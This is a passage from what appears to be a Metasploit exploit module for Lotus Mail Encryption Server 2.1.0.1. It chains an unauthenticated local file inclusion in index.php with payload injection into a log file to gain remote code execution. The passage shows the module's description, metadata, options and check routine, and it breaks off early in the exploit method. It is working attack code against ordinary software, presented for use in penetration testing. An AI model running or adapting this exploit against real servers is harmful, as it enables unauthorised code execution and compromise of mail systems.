The index.php file uses an unsafe include() where an unauthenticated remote user may read (traversal) arbitrary file contents. By abusing a second bug within Lotus, we can inject our payload into a known location and call it via the LFI to gain remote code execution. Version 2.1.0.1 Build(88.3.0.1.4323) is known to be vulnerable. You may need to set DATE in the format YYYY-MM-DD to get this working, where the remote host and metasploit instance have UTC timezone differences. }, 'Author' => [ 'patrick' ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://www.osisecurity.com.au/advisories/' ], #0day #[ 'CVE', 'X' ], [ 'OSVDB', '87556'], #[ 'BID', 'X' ], ], 'Privileged' => false, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [[ 'Lotus Mail Encryption Server 2.1.0.1', { }]], 'DisclosureDate' => 'Nov 9 2012', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(9000), OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new("DATE", [false, 'The date of the target system log file in YYYY-MM-DD format']), ], self.class) end def check res = send_request_cgi( { 'uri' => '/' }) if (res.code == 302 && res.body.match(/GetLoginScreen.uevent/)) return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def php_exploit logfile = datastore['DATE'] ? datastore['DATE'] : Time.now.strftime("%Y-%m-%d") if (logfile !~ /\d\d\d\d-\d\d-\d\d/) # if set by user datastore... print_error("DATE is in incorrect format (use 'YYYY-MM-DD').
